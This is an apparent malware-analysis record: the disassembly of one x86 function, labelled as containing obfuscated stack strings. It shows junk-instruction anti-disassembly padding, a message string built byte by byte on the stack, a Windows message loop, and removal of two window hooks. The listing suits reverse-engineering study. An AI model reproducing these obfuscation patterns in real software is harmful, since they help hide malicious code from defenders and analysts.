Function at 0x10011420
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jae 0x1001141e
jmp 0x10011419
call fcn.10011420
jae 0x10011419
add esp, 4
jmp 0x10011425
dec dword [esp]
jno 0x1001142a
jns 0x10011415
jp 0x1001142e
add esp, 4
popf
jmp 0x10011435
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001144e
jne 0x1001144e
call 0x1fc147a2
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov byte [ebp - 0x38], 0x4d
mov byte [ebp - 0x37], 0x61
mov byte [ebp - 0x36], 0x63
mov byte [ebp - 0x35], 0x72
mov byte [ebp - 0x34], 0x6f
mov byte [ebp - 0x33], 0x20
mov byte [ebp - 0x32], 0x63
mov byte [ebp - 0x31], 0x68
mov byte [ebp - 0x30], 0x65
mov byte [ebp - 0x2f], 0x63
mov byte [ebp - 0x2e], 0x6b
mov byte [ebp - 0x2d], 0x65
mov byte [ebp - 0x2c], 0x72
mov byte [ebp - 0x2b], 0x20
mov byte [ebp - 0x2a], 0x69
mov byte [ebp - 0x29], 0x73
mov byte [ebp - 0x28], 0x20
mov byte [ebp - 0x27], 0x6e
mov byte [ebp - 0x26], 0x6f
mov byte [ebp - 0x25], 0x74
mov byte [ebp - 0x24], 0x20
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x6e
mov byte [ebp - 0x21], 0x69
mov byte [ebp - 0x20], 0x74
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x61
mov byte [ebp - 0x1d], 0x6c
mov byte [ebp - 0x1c], 0x69
mov byte [ebp - 0x1b], 0x7a
mov byte [ebp - 0x1a], 0x65
mov byte [ebp - 0x19], 0x64
mov byte [ebp - 0x18], 0x20
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x20
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x6d
mov byte [ebp - 0x10], 0x69
mov byte [ebp - 0xf], 0x6e
mov byte [ebp - 0xe], 0x61
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0xa], 0x2e
mov byte [ebp - 9], 0x25
mov byte [ebp - 8], 0x64
mov byte [ebp - 7], 0
push 1
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x4a0]
push ecx
call fcn.10010af0
add esp, 0xc
xor eax, eax
test eax, eax
je 0x10011545
jne 0x10011544
call 0x930505cc
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
sal dword [ebx + edi*8 - 8], 1
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10011553
jmp 0x10011555
je 0x10011550
clc
jae 0x1001155a
cwde
sal dword [ebx + eax + 0x75], 1
add ecx, edx
je 0x1001155f
jne 0x1001155f
shl dword [esi - 0x64], 1
pushf
push 0xa
jae 0x1001156c
jmp 0x10011567
call 0x1001156e
jae 0x10011567
add esp, 4
jmp 0x10011573
dec dword [esp]
jno 0x10011578
jns 0x10011563
jp 0x1001157c
add esp, 4
popf
jmp 0x10011583
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001159c
jne 0x1001159c
call 0x1fc148f0
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.1001caa0
clc
jae 0x100115b7
inc edx
lcall 0x773, 0xa6a9c66
pushf
push 0xa
jae 0x100115c4
jmp 0x100115bf
call 0x100115c6
jae 0x100115bf
add esp, 4
jmp 0x100115cb
dec dword [esp]
jno 0x100115d0
jns 0x100115bb
jp 0x100115d4
add esp, 4
popf
jmp 0x100115db
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100115f4
jne 0x100115f4
lcall 0x749a, 0x3eb037c
sti
jl 0x100115f9
jmp 0x100115fb
je 0x100115f6
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10011615
jne 0x10011614
call 0x9305069c
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10011623
jne 0x10011623
call 0xa54953aa
push es
adc byte [eax], al
cmp dword [0x10069548], 0
jne 0x10011865
xor eax, eax
test eax, eax
je 0x10011639
jne 0x10011638
call 0x930506c0
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
test byte [ebx + edi*8 - 8], dh
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10011647
jmp 0x10011649
je 0x10011644
clc
jae 0x1001164e
ja 0x100115d2
je 0x10011653
jne 0x10011653
test byte [esi - 0x64], ah
pushf
push 0xa
jae 0x10011660
jmp 0x1001165b
call 0x10011662
jae 0x1001165b
add esp, 4
jmp 0x10011667
dec dword [esp]
jno 0x1001166c
jns 0x10011657
jp 0x10011670
add esp, 4
popf
jmp 0x10011677
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011690
jne 0x10011690
call 0x1fc149e4
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov byte [ebp - 0x6c], 0x4d
mov byte [ebp - 0x6b], 0x61
mov byte [ebp - 0x6a], 0x63
mov byte [ebp - 0x69], 0x72
mov byte [ebp - 0x68], 0x6f
mov byte [ebp - 0x67], 0x20
mov byte [ebp - 0x66], 0x63
mov byte [ebp - 0x65], 0x68
mov byte [ebp - 0x64], 0x65
mov byte [ebp - 0x63], 0x63
mov byte [ebp - 0x62], 0x6b
mov byte [ebp - 0x61], 0x65
mov byte [ebp - 0x60], 0x72
mov byte [ebp - 0x5f], 0x20
mov byte [ebp - 0x5e], 0x69
mov byte [ebp - 0x5d], 0x73
mov byte [ebp - 0x5c], 0x20
mov byte [ebp - 0x5b], 0x6e
mov byte [ebp - 0x5a], 0x6f
mov byte [ebp - 0x59], 0x74
mov byte [ebp - 0x58], 0x20
mov byte [ebp - 0x57], 0x69
mov byte [ebp - 0x56], 0x6e
mov byte [ebp - 0x55], 0x69
mov byte [ebp - 0x54], 0x74
mov byte [ebp - 0x53], 0x69
mov byte [ebp - 0x52], 0x61
mov byte [ebp - 0x51], 0x6c
mov byte [ebp - 0x50], 0x69
mov byte [ebp - 0x4f], 0x7a
mov byte [ebp - 0x4e], 0x65
mov byte [ebp - 0x4d], 0x64
mov byte [ebp - 0x4c], 0x20
mov byte [ebp - 0x4b], 0x6f
mov byte [ebp - 0x4a], 0x72
mov byte [ebp - 0x49], 0x20
mov byte [ebp - 0x48], 0x74
mov byte [ebp - 0x47], 0x65
mov byte [ebp - 0x46], 0x72
mov byte [ebp - 0x45], 0x6d
mov byte [ebp - 0x44], 0x69
mov byte [ebp - 0x43], 0x6e
mov byte [ebp - 0x42], 0x61
mov byte [ebp - 0x41], 0x74
mov byte [ebp - 0x40], 0x65
mov byte [ebp - 0x3f], 0x64
mov byte [ebp - 0x3e], 0x2e
mov byte [ebp - 0x3d], 0x25
mov byte [ebp - 0x3c], 0x64
mov byte [ebp - 0x3b], 0
push 2
lea edx, [ebp - 0x6c]
push edx
lea eax, [ebp - 0x8a0]
push eax
call fcn.10010af0
add esp, 0xc
xor eax, eax
test eax, eax
je 0x10011787
jne 0x10011786
call 0x9305080e
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
sal dword [ebx + edi*8 - 8], 1
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10011795
jmp 0x10011797
je 0x10011792
clc
jae 0x1001179c
cwde
sal dword [ebx + eax + 0x75], 1
add ecx, edx
je 0x100117a1
jne 0x100117a1
shl dword [esi - 0x64], 1
pushf
push 0xa
jae 0x100117ae
jmp 0x100117a9
call 0x100117b0
jae 0x100117a9
add esp, 4
jmp 0x100117b5
dec dword [esp]
jno 0x100117ba
jns 0x100117a5
jp 0x100117be
add esp, 4
popf
jmp 0x100117c5
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100117de
jne 0x100117de
call 0x1fc14b32
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.1001caa0
clc
jae 0x100117f9
inc edx
lcall 0x773, 0xa6a9c66
pushf
push 0xa
jae 0x10011806
jmp 0x10011801
call 0x10011808
jae 0x10011801
add esp, 4
jmp 0x1001180d
dec dword [esp]
jno 0x10011812
jns 0x100117fd
jp 0x10011816
add esp, 4
popf
jmp 0x1001181d
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011836
jne 0x10011836
lcall 0x749a, 0x3eb037c
sti
jl 0x1001183b
jmp 0x1001183d
je 0x10011838
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10011857
jne 0x10011856
call 0x930508de
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10011865
jne 0x10011865
call 0xa54555ec
push es
adc byte [eax], al
cmp dword [0x10069544], 0
jne 0x1001187b
cmp dword [0x10069548], 0
je 0x10011b46
push 0
push 0
push 0
lea ecx, [ebp - 0xde8]
push ecx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x100118ae
lea edx, [ebp - 0xde8]
push edx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0xde8]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x1001187b
xor eax, eax
test eax, eax
je 0x100118b7
jne 0x100118b6
call 0x9305093e
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
test byte [ebx + edi*8 - 8], dh
xor eax, 3
add eax, 4
xor eax, 5
jl 0x100118c5
jmp 0x100118c7
je 0x100118c2
clc
jae 0x100118cc
ja 0x10011850
je 0x100118d1
jne 0x100118d1
test byte [esi - 0x64], ah
pushf
push 0xa
jae 0x100118de
jmp 0x100118d9
call 0x100118e0
jae 0x100118d9
add esp, 4
jmp 0x100118e5
dec dword [esp]
jno 0x100118ea
jns 0x100118d5
jp 0x100118ee
add esp, 4
popf
jmp 0x100118f5
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001190e
jne 0x1001190e
call 0x1fc14c62
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov byte [ebp - 0xa0], 0x4d
mov byte [ebp - 0x9f], 0x61
mov byte [ebp - 0x9e], 0x63
mov byte [ebp - 0x9d], 0x72
mov byte [ebp - 0x9c], 0x6f
mov byte [ebp - 0x9b], 0x20
mov byte [ebp - 0x9a], 0x63
mov byte [ebp - 0x99], 0x68
mov byte [ebp - 0x98], 0x65
mov byte [ebp - 0x97], 0x63
mov byte [ebp - 0x96], 0x6b
mov byte [ebp - 0x95], 0x65
mov byte [ebp - 0x94], 0x72
mov byte [ebp - 0x93], 0x20
mov byte [ebp - 0x92], 0x69
mov byte [ebp - 0x91], 0x73
mov byte [ebp - 0x90], 0x20
mov byte [ebp - 0x8f], 0x6e
mov byte [ebp - 0x8e], 0x6f
mov byte [ebp - 0x8d], 0x74
mov byte [ebp - 0x8c], 0x20
mov byte [ebp - 0x8b], 0x69
mov byte [ebp - 0x8a], 0x6e
mov byte [ebp - 0x89], 0x69
mov byte [ebp - 0x88], 0x74
mov byte [ebp - 0x87], 0x69
mov byte [ebp - 0x86], 0x61
mov byte [ebp - 0x85], 0x6c
mov byte [ebp - 0x84], 0x69
mov byte [ebp - 0x83], 0x7a
mov byte [ebp - 0x82], 0x65
mov byte [ebp - 0x81], 0x64
mov byte [ebp - 0x80], 0x20
mov byte [ebp - 0x7f], 0x6f
mov byte [ebp - 0x7e], 0x72
mov byte [ebp - 0x7d], 0x20
mov byte [ebp - 0x7c], 0x74
mov byte [ebp - 0x7b], 0x65
mov byte [ebp - 0x7a], 0x72
mov byte [ebp - 0x79], 0x6d
mov byte [ebp - 0x78], 0x69
mov byte [ebp - 0x77], 0x6e
mov byte [ebp - 0x76], 0x61
mov byte [ebp - 0x75], 0x74
mov byte [ebp - 0x74], 0x65
mov byte [ebp - 0x73], 0x64
mov byte [ebp - 0x72], 0x2e
mov byte [ebp - 0x71], 0x25
mov byte [ebp - 0x70], 0x64
mov byte [ebp - 0x6f], 0
push 3
lea ecx, [ebp - 0xa0]
push ecx
lea edx, [ebp - 0xca0]
push edx
call fcn.10010af0
add esp, 0xc
xor eax, eax
test eax, eax
je 0x10011a68
jne 0x10011a67
call 0x93050aef
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
sal dword [ebx + edi*8 - 8], 1
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10011a76
jmp 0x10011a78
je 0x10011a73
clc
jae 0x10011a7d
cwde
sal dword [ebx + eax + 0x75], 1
add ecx, edx
je 0x10011a82
jne 0x10011a82
shl dword [esi - 0x64], 1
pushf
push 0xa
jae 0x10011a8f
jmp 0x10011a8a
call 0x10011a91
jae 0x10011a8a
add esp, 4
jmp 0x10011a96
dec dword [esp]
jno 0x10011a9b
jns 0x10011a86
jp 0x10011a9f
add esp, 4
popf
jmp 0x10011aa6
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011abf
jne 0x10011abf
call 0x1fc14e13
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.1001caa0
clc
jae 0x10011ada
inc edx
lcall 0x773, 0xa6a9c66
pushf
push 0xa
jae 0x10011ae7
jmp 0x10011ae2
call 0x10011ae9
jae 0x10011ae2
add esp, 4
jmp 0x10011aee
dec dword [esp]
jno 0x10011af3
jns 0x10011ade
jp 0x10011af7
add esp, 4
popf
jmp 0x10011afe
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011b17
jne 0x10011b17
lcall 0x749a, 0x3eb037c
sti
jl 0x10011b1c
jmp 0x10011b1e
je 0x10011b19
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10011b38
jne 0x10011b37
call 0x93050bbf
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10011b46
jne 0x10011b46
call 0x16965feb
adc byte [eax - 1], dl
adc eax, sym.imp.USER32.dll_UnhookWindowsHookEx
mov eax, dword [0x10069544]
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov ecx, dword [0x10069548]
push ecx
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10030913
mov esp, ebp
pop ebp
ret 4